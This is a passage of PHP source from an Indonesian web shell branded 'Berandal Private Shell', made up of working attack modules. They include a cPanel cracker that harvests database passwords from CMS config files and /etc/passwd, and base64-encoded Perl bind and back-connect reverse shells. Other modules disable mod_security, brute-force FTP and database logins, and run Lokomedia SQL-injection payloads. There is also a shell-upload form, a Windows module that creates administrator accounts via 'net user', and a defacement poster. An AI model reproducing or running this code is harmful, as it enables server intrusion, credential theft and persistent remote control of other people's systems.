<input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' name=\'config_dir\' value=\'$dir\'><br><br>
Set User & Pass:
<input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' name=\'user_baru\' value=\'berandal\' placeholder=\'user_baru\'><br>
                
<input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' name=\'pass_baru\' value=\'berandal\' placeholder=\'pass_baru\'><br><br>
                 
<input type=\'submit\' style=\'width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;\' name=\'sikat\' class=\'kotak\' value=\'SIKAT!\'>
</form>
<span>
NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/berandal_config )</span></div>
";
}
}elseif($_GET[\'666\'] == \'jguide\') {
echo "<div class=\'mybox\' style=\'text-align:left\'><h1>JonesGuide Mass Poster</h1><hr color=\'white\'>
<form method=\'post\'>
Defacer
<input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' name=\'hekel\' placeholder=\'Berandal\'><br><br>
Team
   <input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' name=\'tim\' placeholder=\'Berandal\'><br><br>
Domains: <br>
<textarea class=\'mybox\' style=\'border-color:#292929\' rows=\'10\' name=\'sites\'></textarea><br>
<input type=\'submit\' style=\'width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;\' name=\'sikat\' value=\'Submit\' class=\'kotak\'>
</form></div>";
$site = explode("
", $_POST[\'sites\']);
$go = $_POST[\'sikat\'];
$hekel = $_POST[\'hekel\'];
$tim = $_POST[\'tim\'];
if($go) {
foreach($site as $sites) {
$zh = $sites;
$form_url = "https://www.jonesguide/notify.html";
$data_to_post = array();
$data_to_post[\'attacker\'] = "$hekel";
$data_to_post[\'team\'] = "$tim";
$data_to_post[\'poc\'] = \'SQL Injection\';
$data_to_post[\'url\'] = "$zh";
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL, $form_url);
curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_REFERER, \'https://jonesguide.com/notify.html\');
$result = curl_exec($curl);
echo $result;
curl_close($curl);
echo "<br>";
}
}
}
elseif($_GET[\'666\'] == \'cpanel\') {
if($_POST[\'crack\']) {
$usercp = explode("
", $_POST[\'user_cp\']);
$passcp = explode("
", $_POST[\'pass_cp\']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect(\'localhost\', $ucp, $pcp)) {
if($_SESSION[$ucp] && $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] = "1";
$_SESSION[$pcp] = "1";
$i++;
echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
}
}
}
}
if($i == 0) {
} else {
echo "<br>Sukses nyolong ".$i." Cpanel by <font color=white>Berandal Private Shell</font>";
}
} else {
echo "<center class=\'mybox\'><h1>Cpanel Cracker</h1><hr color=\'white\'>
<form method=\'post\'>
USER: <br>
<textarea style=\'width: 450px; height: 150px; border-color=white\' name=\'user_cp\'>";
$_usercp = fopen("/etc/passwd","r");
while($getu = fgets($_usercp)) {
if($getu == \'\' || !$_usercp) {
echo "<font color=red>Can\'t read /etc/passwd</font>";
} else {
preg_match_all("/(.*?):x:/", $getu, $u);
foreach($u[1] as $user_cp) {
if(is_dir("/home/$user_cp/public_html")) {
echo "$user_cp
";
}
}
}
}
echo "</textarea><br>
PASS: <br>
<textarea style=\'width: 450px; height: 200px; border-color=white\' name=\'pass_cp\'>";
function cp_pass($dir) {
$pass = "";
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
if(preg_match("/WordPress/", $ambil)) {
$pass .= ambilkata($ambil,"DB_PASSWORD\', \'","\'")."
";
} elseif(preg_match("/JConfig|joomla/", $ambil)) {
$pass .= ambilkata($ambil,"password = \'","\'")."
";
} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
$pass .= ambilkata($ambil,\'password = "\',\'"\')."
";
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
$pass .= ambilkata($ambil,"\'DB_PASSWORD\', \'","\'")."
";
} elseif(preg_match("/client/", $ambil)) {
preg_match("/password=(.*)/", $ambil, $pass1);
if(preg_match(\'/"/\', $pass1[1])) {
$pass1[1] = str_replace(\'"\', "", $pass1[1]);
$pass .= $pass1[1]."
";
}
} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
$pass .= ambilkata($ambil,"db_password = \'","\'")."
";
}
}
echo $pass;
}
$cp_pass = cp_pass($dir);
echo $cp_pass;
echo "</textarea><br>
<input type=\'submit\' name=\'crack\' style=\'width: 450px; border-color=white\' class=\'kotak\' value=\'Crack\'>
</form>
<span>NB: CPanel Crack ini udah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/os_config )</span><br></center>";
}
}
elseif($_GET[\'666\'] == \'sec\') {
echo \'<h1>Safe Mode</h1>\';
echo \'<div class="content">\';
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS[\'cwd\']." |<br><br />";
echo \'<a href=? onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=? onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=? onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center><br>\';
if(!empty($_POST[\'p2\']) && isset($_POST[\'p2\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>\');
fclose($fil);
}
if(!empty($_POST[\'p1\'])&& isset($_POST[\'p1\']))
{
$fil=fopen($GLOBALS[\'cwd\']."php.ini","w");
fwrite($fil,\'safe_mode=OFF
disable_functions=NONE\');
fclose($fil);
}
if(!empty($_POST[\'p3\']) && isset($_POST[\'p3\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl\');
fclose($fil);
}
echo "</div>";
echo \'</div>\';
}
elseif ($_GET[\'666\'] == \'mailer\') {
echo "<h1>Mailer</h1><hr color=\'white\'>
<form method=\'POST\'>
<table>
<tr><td>To (email):</td><td> <input type=\'text\' name=\'to\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\'>
<tr><td>From (name):</td><td> <input type=\'text\' name=\'fromn\' value=\'Berandal666\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\'>
<tr><td>From (email):</td><td> <input type=\'text\' name=\'frome\' value=\'[email protected]\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\'>
<tr><td>Subject:</td><td> <input type=\'text\' name=\'subject\' value=\'Something About Your Site :)\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\'>
<tr><td>Message:</td><td> <textarea name=\'message\' style=\'border:1px solid #292929\' class=\'mybox\' cols=\'35\' width=\'400px\' rows=\'10\'></textarea>
<tr><td><input type=\'reset\' value=\'Reset fields\' name=\'reset\'><td><input type=\'submit\' value=\'Send e-mail\' name=\'send\'></td><td>
</table>
</form>
";
if(isset($_POST[\'send\']))
{
// variables
$to = htmlentities(stripslashes($_POST[\'to\']));
$fromn = htmlentities(stripslashes($_POST[\'fromn\']));
$frome = htmlentities(stripslashes($_POST[\'frome\']));
$subject = htmlentities(stripslashes($_POST[\'subject\']));
$message = htmlentities(stripslashes($_POST[\'message\']));
$headers = "From: $fromn <$frome>";
// variables
if($to && $fromn && $frome && $subject && $message && $headers) {
mail($to, $subject, $message, $headers);
echo "E-mail successfully sent to: ", $to;
}
}
}
elseif($_GET[\'666\'] == \'loghunter\')
{
echo \'<center class="mybox"><h1>Log Hunter</h1>\';
echo "<hr color=\'white\'>";
echo "<form action=\"\" method=\"post\">
";
?><br>Dir :<input type="text" value="<?=getcwd();?>" style=\'border-color=white;\' name="shc_dir"><?php
echo "<input type=\"submit\" style=\'border-color=white;\' name=\"submit\" class=\"kotak\" value=\"Scan!\"/>
";
echo "</form>
";
echo "<pre style=\"text-align: left;\">
";
error_reporting(0);
/*
+--------------------------------------------+
Name : Log Hunter (Grab Email)
Date : 26/03/2016 05:53 PM
Link : http://facebook.com/bug7sec
Link : http://pastebin.com/u/shor7cut
Author : Shor7cut
+--------------------------------------------+
Recoder : Berandal
Link : http://twitter.com/id_berandal
Link : http://pastebin.com/u/berandal666
+--------------------------------------------+
*/
if($_POST[\'submit\']){
function tampilkan($shcdirs){
foreach(scandir($shcdirs) as $shc)
{
if($shc!=\'.\' && $shc!=\'..\')
{
$shc = $shcdirs.DIRECTORY_SEPARATOR.$shc;
if( !is_dir($shc) && !eregi("css", $shc) ){
$fgt = file_get_contents($shc);
$ifgt = exif_read_data($shc);
$jembut = "COMPUTED";
$taik = "UserComment";
$shcm = "/mail[\'(\']/";
if($ifgt[$jembut][$taik]){
echo "[<font color=#00FFD0>Stegano</font>] <font color=#2196F3>".$shc."</font><br>";
}
preg_match_all(\'#[A-Z0-9a-z._%+-]+@[A-Za-z0-9.+-]+#\',$fgt,$cocok);
$hcs = "/base64_decode/";
$exif = "/exif_read_data/";
preg_match($shcm, addslashes($fgt), $mailshc);
preg_match($hcs, addslashes($fgt), $shcmar);
preg_match($exif, addslashes($fgt), $shcxif);
if(eregi(\'HTTP Cookie File\', $fgt) || eregi(\'PHP Warning:\', $fgt) ){
}
if(eregi(\'tmp_name\', $fgt)){
echo "[<font color=#FAFF14>Uploader</font>] <font color=#2196F3>".$shc."</font><br>";
}
if($shcmar[0]){
echo "[<font color=#FF3D00>Base64</font>] <font color=#2196F3>".$shc."</font><br>";
}
if($mailshc[0]){
echo "[<font color=#E6004E>MailFunc</font>] <font color=#2196F3>".$shc."</font><br>";
}
if($shcxif[0]){
echo "[<font color=#00FFD0>Stegano</font>] <font color=#2196F3>".$shc."</font> </font><font color=red>{Manual Check}</font><br>";
}
if(eregi("js", $shc)){
echo "[<font color=red>Javascript</font>] <font color=#2196F3>".$shc."</font> { <a href=http://www.unphp.net target=_blank>CheckJS</a> }<br>";
}
if($cocok[0]){
foreach ($cocok[0] as $key => $shcmail) {
if (filter_var($shcmail, FILTER_VALIDATE_EMAIL)) {
echo "[<font color=yellow>SendMail</font>] <font color=#2196F3>".$shc."</font> { ".$shcmail." }<br>";
}
}
}
}else{
tampilkan($shc);
}
}
}
}
tampilkan($_POST[\'shc_dir\']);
}
echo "</pre>
";
echo "</Center>
";}
elseif($_GET[\'666\'] == \'network\') {
echo "<div class=\'mybox\' style=\'text-align:left;\'><form method=\'post\'>
<Font size=\'6pt\'>Bind Port:</font><br><hr color=\'white\'>
 PORT     <input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' placeholder=\'port\' name=\'port_bind\' value=\'666\'>
<br><br><input type=\'submit\' style=\'width: 50px; height: 30px; border-color=white;\' class=\'kotak\' name=\'sub_bp\' value=\'Go!\'>
</form></div>
<div class=\'mybox\' style=\'text-align:left;\'><form method=\'post\'>
<Font size=\'6pt\'>Back Connect:</font> <br><hr color=\'white\'>
Server   <input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' placeholder=\'ip\' name=\'ip_bc\' value=\'".$_SERVER[\'REMOTE_ADDR\']."\'><br><br>
PORT     <input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' placeholder=\'port\' name=\'port_bc\' value=\'666\'><br><br>
<input type=\'submit\' class=\'kotak\' style=\'width: 50px; height: 30px; border-color=white;\' name=\'sub_bc\' value=\'Go!\'>
</form></div>
<div class=\'mybox\' style=\'text-align:left;\'><form method=\'POST\'>
<Font size=\'6pt\'>Metasploit Connection:</font> <br><hr color=\'white\'>Your IP
 <input placeholder=\'port\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' type=\'text\' size=\'40\' name=\'yip\' value=\'".$my_ip."\' /><br><br>
Port     <input type=\'text\' style=\'border:0;border-bottom:1px solid #292929; width:500px;\' size=\'5\' name=\'yport\' value=\'666\' />
<br><br><input class=\'kotak\' type=\'submit\' style=\'width: 50px; height: 30px; border-color=white;margin:10px 2px 0 2px;\' value=\'Go!\' name=\'metaConnect\'></form></div>";
;
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
if(isset($_POST[\'sub_bp\'])) {
$f_bp = fopen("/tmp/bp.pl", "w");
fwrite($f_bp, base64_decode($bind_port_p));
fclose($f_bp);
$port = $_POST[\'port_bind\'];
$out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>".$out."
".exe("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
if(isset($_POST[\'sub_bc\'])) {
$f_bc = fopen("/tmp/bc.pl", "w");
fwrite($f_bc, base64_decode($bind_connect_p));
fclose($f_bc);
$ipbc = $_POST[\'ip_bc\'];
$port = $_POST[\'port_bc\'];
$out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>".$out."
".exe("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
elseif($_GET[\'666\'] == \'brute\') {
if( isset($_POST[\'proto\']) ) {
echo \'<div class="mybox"><h1>Results</h1><hr color="white"><br><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'</div><br>\';
if( $_POST[\'proto\'] == \'ftp\' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST[\'proto\'] == \'mysql\' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST[\'proto\'] == \'pgsql\' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=\'\'";
$res = @pg_connect($server[0].\':\'.$server[1]?$server[1]:5432, $login, $pass);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST[\'server\']);
if($_POST[\'type\'] == 1) {
$temp = @file(\'/etc/passwd\');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';
}
if(@$_POST[\'reverse\']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST[\'type\'] == 2) {
$temp = @file($_POST[\'dict\']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {
$success++;
echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo \'<div class="mybox"><h1>FTP bruteforce</h1><hr color="white"><div class=content><table><form method=post><tr><td><span>Type</span></td>\'
.\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'
.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'
.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'
.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'
.\'<span>Server:port</span></td>\'
.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'
.\'<tr><td><span>Brute type</span></td>\'
.\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'
.\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'
.\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'
.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'
.\'<td><input type=text style="border-color=white;" name=login value="berandal"></td></tr>\'
.\'<tr><td><span>Dictionary</span></td>\'
.\'<td><input type=text style="border-color=white;" name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'
.\'</td></tr><tr><td></td><td><input class="kotak" type=submit value=">>"></td></tr></form></table>\';
echo \'</div></div>\';}
elseif($_GET[\'666\'] == \'lokmed\')
{
?>
<center class=\'mybox\'><h1>CMS Lokomedia Auto Exploiter</h1>
<form method=\'post\'>
<textarea name=\'sites\' style=\'border-color=white;\' value=\'contoh:http://127.0.0.1/hal-tentang-kami.html\' cols=\'50\' rows=\'12\'></textarea><br><br>
<input type=\'submit\' name=\'go\' value=\'SIKAT!\' style=\'border-color=white;\' class=\'kotak\'>
</FORM></center>
<?php
error_reporting(0);
set_time_limit(0);
$ya=$_POST[\'go\'];
$co=$_POST[\'sites\'];
if($ya){
$e=explode("rn",$co);
foreach($e as $bda){
$fp = fopen("cookie.txt", "w+");
$Cookie = realpath(\'cookie.txt\');
$web = $bda."/statis--1\'union%20select%20/*!50000Concat*/(username,0x20,password)+from+users--+--+-profil.html";
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,"$web");
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0\');
curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_COOKIEFILE, "$Cookie");
curl_setopt($curl,CURLOPT_TIMEOUT,5);
$gweb = curl_exec($curl);
$web2 = $bda."/statis--1\'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+-profil.html";
$curl2=curl_init();
curl_setopt($curl2,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl2,CURLOPT_URL,"$web2");
curl_setopt($curl2,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0\');
curl_setopt($curl2,CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl2,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl2,CURLOPT_COOKIEFILE, "$C2ookie");
curl_setopt($curl2,CURLOPT_TIMEOUT,5);
$gweb2 = curl_exec($curl2);
echo \'<center><font face="courier" color="#00BFFF" >\'.$bda.\'</font><br><textarea rows="10" cols="40">\'.htmlentities($gweb2).\'</textarea>\',\'<textarea rows="10" cols="40">\'.htmlentities($gweb).\'</textarea>\';
$cek_admin = @file_get_contents("$bda/adminweb");
if(preg_match("/Copyright/", $cek_admin)) {
echo "<BR><font color=green>Berandal</font> => <font color=white><a href=\'$bda/adminweb\' target=\'_blank\'>$bda/adminweb</a></font><br>";
} else {
echo "<br><br>[-] <font color=red> Gak Ada /adminweb, Jancok! -_-</font>[-]<br><br><hr color=\'white\'>";
}}}}
elseif($_GET[\'666\'] == \'balitbang\') {
?>
<div class=\'mybox\'><h1>CMS Balitbang Auto Exploiter</h1>
<form action=\'\' method=\'post\'>
<center>
<p>Target URL : <input style=\'border-color=white;\' type=\'text\' name=\'url\' class=\'text\' placeholder=\'http://127.0.0.1/\' size="50"></p>
</td></p>
<p><input type=\'submit\' name=\'send\' class=\'kotak\' style=\'border-color=white;\' value=\'Kunci Target\'></p></center>
</form>
<?php
if (isset($_POST[\'send\'])) {
$url = $_POST[\'url\'];
$resulturl = "Target URL : $url";
echo "<center>
<hr color=\'white\'><br>
$resulturl
$resultoken
</center>";
echo \'<center style="border-color=white;"><form enctype="multipart/form-data" action="\'.$url.\'/files/tugas/tgs-ganteng.phtml" method="post"></center>\';
echo \'<center style="border-color=white;"><input name="file" type="file"><input type="submit" class="kotak" value="Upload"><br><br>Format file: shell.phtml ato shell.php5</center>\';
}
echo "</div>";
}
elseif($_GET[\'666\'] == \'hashid\') {
if (isset($_POST[\'gethash\'])) {
$hash = $_POST[\'hash\'];
if (strlen($hash) == 32) {
$hashresult = "MD5 Hash";
} elseif (strlen($hash) == 40) {
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
} elseif (strlen($hash) == 13) {
$hashresult = "DES(Unix) Hash";
} elseif (strlen($hash) == 16) {
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
} elseif (strlen($hash) == 41) {
$GetHashChar = substr($hash, 40);
if ($GetHashChar == "*") {
$hashresult = "MySQL5 Hash";
}
} elseif (strlen($hash) == 64) {
$hashresult = "SHA-256 Hash";
} elseif (strlen($hash) == 96) {
$hashresult = "SHA-384 Hash";
} elseif (strlen($hash) == 128) {
$hashresult = "SHA-512 Hash";
} elseif (strlen($hash) == 34) {
if (strstr($hash, \'$1$\')) {
$hashresult = "MD5(Unix) Hash";
}
} elseif (strlen($hash) == 37) {
if (strstr($hash, \'$apr1$\')) {
$hashresult = "MD5(APR) Hash";
}
} elseif (strlen($hash) == 34) {
if (strstr($hash, \'$H$\')) {
$hashresult = "MD5(phpBB3) Hash";
}
} elseif (strlen($hash) == 34) {
if (strstr($hash, \'$P$\')) {
$hashresult = "MD5(Wordpress) Hash";
}
} elseif (strlen($hash) == 39) {
if (strstr($hash, \'$5$\')) {
$hashresult = "SHA-256(Unix) Hash";
}
} elseif (strlen($hash) == 39) {
if (strstr($hash, \'$6$\')) {
$hashresult = "SHA-512(Unix) Hash";
}
} elseif (strlen($hash) == 24) {
if (strstr($hash, \'==\')) {
$hashresult = "MD5(Base-64) Hash";
}
} else {
$hashresult = "Hash type not found";
}
} else {
$hashresult = "Not Hash Entered";
}
?>
<div class=\'mybox\' style="text-align:left">
<form action="" method="POST">
<tr>
<table >
<h1>Hash Identifier</h1>
<tr class="optionstr"><B><td>String</td></b><td>:</td>
<td><input style=\'border:0;border-bottom:1px solid #292929; width:500px;\' type="text" name="hash" size=\'60\'/></td>
<td><input type="submit" class="kotak" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Hasil</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
</table></tr></form><br>
</div>
<?php
}
elseif($_GET[\'666\'] == \'krdp\') {
if(strtolower(substr(PHP_OS, 0, 3)) === \'win\') {
if($_POST[\'create\']) {
$user = htmlspecialchars($_POST[\'user\']);
$pass = htmlspecialchars($_POST[\'pass\']);
if(preg_match("/$user/", exe("net user"))) {
echo "<div class=\'mybox\'>[INFO] -> <font color=red>user <font color=white>$user</font> sudah ada</font></div>";
} else {
$add_user = exe("net user $user $pass /add");
$add_groups1 = exe("net localgroup Administrators $user /add");
$add_groups2 = exe("net localgroup Administrator $user /add");
$add_groups3 = exe("net localgroup Administrateur $user /add");
echo "<div class=\'mybox\'>[ RDP ACCOUNT INFO ]<br>
------------------------------<br>
IP: <font color=white>".$ip."</font><br>
Username: <font color=white>$user</font><br>
Password: <font color=white>$pass</font><br>
------------------------------<br><br>
[ STATUS ]<br>
------------------------------<br>
";
if($add_user) {
echo "[add user] -> <font color=\'white\'>Berhasil</font><br>";
} else {
echo "[add user] -> <font color=\'red\'>Gagal</font><br>";
}
if($add_groups1) {
echo "[add localgroup Administrators] -> <font color=\'white\'>Berhasil</font><br>";
} elseif($add_groups2) {
echo "[add localgroup Administrator] -> <font color=\'white\'>Berhasil</font><br>";
} elseif($add_groups3) {
echo "[add localgroup Administrateur] -> <font color=\'white\'>Berhasil</font><br>";
} else {
echo "[add localgroup] -> <font color=\'red\'>Gagal</font><br>";
}
echo "------------------------------<br></div>";
}
} elseif($_POST[\'s_opsi\']) {
$user = htmlspecialchars($_POST[\'r_user\']);
if($_POST[\'opsi\'] == \'1\') {
$cek = exe("net user $user");
echo "<div class=\'mybox\'>Checking username <font color=white>$user</font> ....... ";
if(preg_match("/$user/", $cek)) {
echo "[ <font color=white>Sudah ada</font> ]<br>
------------------------------<br><br>
<pre>$cek</pre>";
} else {
echo "[ <font color=red>belum ada</font> ]</div>";
}
} elseif($_POST[\'opsi\'] == \'2\') {
$cek = exe("net user $user berandal");
if(preg_match("/$user/", exe("net user"))) {
echo "[change password: <font color=white>berandal</font>] -> ";
if($cek) {
echo "<font color=white>Berhasil</font>";
} else {
echo "<font color=red>Gagal</font>";
}
} else {
echo "<div class=\'mybox\'>[INFO] -> <font color=red>user <font color=white>$user</font> belum ada</font></div>";
}
} elseif($_POST[\'opsi\'] == \'3\') {
$cek = exe("net user $user /DELETE");
if(preg_match("/$user/", exe("net user"))) {
echo "[remove user: <font color=white>$user</font>] -> ";
if($cek) {
echo "<font color=white>Berhasil</font>";
} else {
echo "<font color=red>Gagal</font>";
}
} else {
echo "<div class=\'mybox\'>[INFO] -> <font color=red>user <font color=white>$user</font> belum ada</font></div>";
}
} else {
//
}
} else {
echo "<div class=\'mybox\'>
<h1>K-RDP Shell</h1><br>
-- Create RDP --
<form method=\'post\'>
<input type=\'text\' style=\'border-color=white;\' name=\'user\' placeholder=\'username\' value=\'berandal\' required>
<input type=\'text\' style=\'border-color=white;\' name=\'pass\' placeholder=\'password\' value=\'berandal\' required>
<input type=\'submit\' style=\'border-color=white;\' class=\'kotak\' name=\'create\' value=\'>>\'>
</form>
-- Option --
<form method=\'post\'>
<input type=\'text\' style=\'border-color=white;\' name=\'r_user\' placeholder=\'username\' required>
<select name=\'opsi\' style=\'border-color=white;\'>
<option value=\'1\'>Cek Username</option>
<option value=\'2\'>Ubah Password</option>
<option value=\'3\'>Hapus Username</option>
</select>
<input type=\'submit\' style=\'border-color=white;\' class=\'kotak\' name=\'s_opsi\' value=\'>>\'>
</form></div>
";
}
} else {
echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.";
}
}
